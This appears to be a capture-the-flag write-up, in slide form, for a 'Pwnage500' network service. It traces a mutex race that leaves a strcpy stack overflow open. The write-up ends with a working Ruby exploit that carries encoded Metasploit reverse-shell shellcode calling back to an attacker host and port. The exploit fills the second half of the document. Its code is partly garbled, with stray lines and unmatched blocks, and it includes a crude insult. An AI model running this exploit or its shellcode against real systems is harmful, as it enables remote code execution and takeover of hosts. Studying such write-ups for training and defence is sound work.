



Pwnage500

[0x28] Thieves
RacerX



What does it do?

- Listens on port 12345
- Responds with ASCII(hex(rand()))
 - Between 30000-39999, inclusive
- Forks and listens on this port
- Connections are threaded on accept



What does it do?

- The threaded process uses shared memory with a mutex.
- If it receives `read.size < 500`
 - Does lots of gibberish and makes poo
 - Spits back first 20 bytes of poo
- If it receives `read.size > 499`
 - Spits back first 20 bytes of read

Where is the problem?

```
push    offset dword_804C5E0 ; mutex
call    _pthread_mutex_lock
add     esp, 10h
sub     esp, 4
push    500h                ; size_t
push    0                   ; int
push    offset byte_804C600 ; void *
call    _memset
add     esp, 10h
sub     esp, 4
push    14h                ; size_t
push    0                   ; int
lea     eax, [ebp+buf]
push    eax                 ; void *
call    _memset
add     esp, 10h
sub     esp, 4
push    500h                ; nbyte
push    offset byte_804C600 ; buf
push    [ebp+fildes]       ; fildes
call    _read
add     esp, 10h
sub     esp, 8
lea     eax, [ebp+buf]
push    eax
lea     eax, [ebp+var_98]
push    eax
call    sub_804912C
```

Lock the shared mem.

Zero the 2 buffers

Read from the socket

Go do stuff

Where is the problem?

Inside 0x804912C

```
sub    esp, 0Ch
push  offset byte_804C600 ; char *
call  _strlen
add   esp, 10h
cmp   eax, 1F3h
ja    short loc_80491C8
```

bytes_read.size < 500

```
sub    esp, 0Ch
push  [ebp+arg_0]
call  sub_80493FC
add   esp, 10h
sub    esp, 8
push  offset byte_804C600 ; char *
lea   eax, [ebp+var_208]
push  eax ; char *
call  _strcpy
add   esp, 10h
sub    esp, 0Ch
push  offset mutex ; mutex
call  _pthread_mutex_lock
add   esp, 10h
sub    esp, 4
push  1F4h ; size_t
lea   eax, [ebp+var_208]
push  eax ; void *
push  [ebp+arg_0] ; int
call  sub_804A7E8
add   esp, 10h
sub    esp, 8
push  [ebp+arg_0]
push  [ebp+arg_4]
call  sub_804A940
add   esp, 10h
sub    esp, 0Ch
push  offset mutex ; mutex
call  _pthread_mutex_unlock
add   esp, 10h
mov   [ebp+var_20C], 1
jmp   short loc_80491D2
```

Some function!

```
loc_80491C8:
mov   [ebp+var_20C], 0
```

bytes_read.size > 499

Strcpy...hmmm

Where is the problem?

Inside 0x80493FC

```
sub esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 5Ch
push eax
call sub_804AB10
```

```
; Attributes: bp-based frame
sub_804AB10 proc near
arg_0= dword ptr 8

push ebp
mov ebp, esp
sub esp, 8
mov ax, ds:word_804B286
shr ax, 8
cmp ax, 23h
jnz short loc_804AB41
```

```
sub esp, 0Ch
push offset dword_804C5E0 ; mutex
call _pthread_mutex_unlock
add esp, 10h
mov eax, [ebp+arg_0]
mov dword ptr [eax], 1
jmp short locret_804AB5A
```

```
loc_804AB41:
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
sub esp, 0Ch
push offset dword_804C5E0 ; mutex
call _pthread_mutex_unlock
add esp, 10h
```

```
locret_804AB5A:
leave
retn
sub_804AB10 endp
```

Does this REALLY unlock that mutex before the strcpy? WTF??

YEP!!



Where is the Problem?

Recap

- A mutex is used to lock the memory address where the data is read in from the socket.
- The mutex is unlocked right before the strycpy, and then locked back up.
- ...Gotta use that window to overwrite the value with > 520 (208h).



How do we do this?

- Initiate a connection with the first port
- Parse the port # and convert to decimal
- Repeatedly connect to the second port with two connections at a time (threaded works well)
- Eventually you will win the race condition

How do we do this?

- We need to identify how big the buffer is

- Looking in function 0x804912C:

Looks like we get 208h bytes (520d), so 521-524 should contain what will get loaded into ESP. We can set this value to the address of itself and, when it's incremented, it will put the next 4 bytes into EIP. So we put the address of our shellcode in 525-528

```
sub_804912C proc near
var_20C= dword ptr -20Ch
var_208= byte ptr -208h
arg_0= dword ptr 8
arg_4= dword ptr 0Ch
```

```
...
push offset byte_804C600 ; char *
lea eax, [ebp+var_208]
push eax ; char *
call _strcpy
```

Example exploit:

```
#!/usr/bin/env ruby
require 'socket'
require 'thread'

host = "freebsd-6_2-i386.hack"
port = 12345
lport = 4444
#host = '10.1.1.186'
# bsd/x86/shell_reverse_tcp - 91 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# LPORT=4444, LHOST=10.69.0.100
shellcode = "\xda\xda\x29\xc9\xb1\x11\xd9\x74\x24\xf4\xb8\x47\xa9\x84" +
"\xfb\x5e\x31\x46\x17\x83\xc6\x04\x03\x01\xba\x66\x0e\xe5" +
"\xb6\x23\xf1\x91\xae\x54\xf3\x48\x73\x22\x13\x5b\x4b\x64" +
"\xb6\x9a\x21\x87\x2c\x8c\x05\xe6\x7d\x2c\x32\xb9\x2d\x46" +
"\xdf\x61\x03\x16\x4f\xf8\xc1\x4e\xbd\x7c\x0a\x21\xd5\x04" +
"\x03\xd5\x0a\xd8\x98\x4d\x3d\x09\x3d\xe4\xd3\xdc\x22\xa6" +
"\x7f\x8c\xf4\xf6\xbb\xff\x75"

bloop = "\x90"*(520 - shellcode.length)+shellcode+"\x08\xc8\x04\x08"+" \x04\xc6\x04\x08"
count = 1

if (`netstat -an | grep ':\#{lport}\s' | awk '{print $6}'`.gsub(/\n/, "")).gsub(/\r/, "") != 'LISTEN')
  puts "You don't have a listener open, open it first retard."
  exit
end

while (`netstat -an | grep ':\#{lport}\s' | awk '{print $6}'`.gsub(/\n/, "").gsub(/\r/, "") ==
'LISTEN') do
  for i in (0..50)
    sleep 0.5
    puts "Trying fork: #{count}"
    fork do
      s = TCPSocket.new(host, port)
      puts "Connected"
      s.print "\n"
      puts "newline sent"
      result = s.recvfrom(5000)
      puts "Port is: #{result[0].hex}"
      count_this = 1
      flag = 0
      sleep 1
    end
  end
end
```

```
while(flag == 0 && `netstat -an | grep ':\#{lport}\s' | awk '{print $6}'`.gsub(/\n/, "").gsub(/\r/,
'') == 'LISTEN') do
  a=Thread.new do
    begin
      n = TCPSocket.new(host, result[0].hex)
      n.print "B"*499
      n.close
      rescue Exception => e
        flag = 1
      end
    end
  end

  b=Thread.new do
    begin
      n = TCPSocket.new(host, result[0].hex)
      n.print bloop
      n.close
      rescue Exception => e
        flag = 1
      end
    end
  end

  count_this = count_this + 1

  a.join
  b.join
end

if (`netstat -an | grep ':\#{lport}\s' | awk '{print $6}'`.gsub(/\n/, "").gsub(/\r/, "") == 'LISTEN')
  puts "Looks like it failed this time, try again! (#{count_this} iterations)"
elsif (`netstat -an | grep ':\#{lport}\s' | awk '{print $6}'`.gsub(/\n/, "").gsub(/\r/, "") ==
'ESTABLISHED')
  puts "Looks like we crashed and are connected! Time to check your listener!"
  (#{count_this} iterations)"
else
  puts "Hm, you don't even have a listener open... : " + `netstat -an | grep
':\#{lport}\s'`.to_s
end
end
count = count + 1
end

Process.waitall
end
```

NOTE: This is a race condition so the best way to get it is to blast it. If you use more than 2 threads on each child port, they will end up messing the stack up and killing your callback. The best thing to do is to use multiple child ports and just play the odds.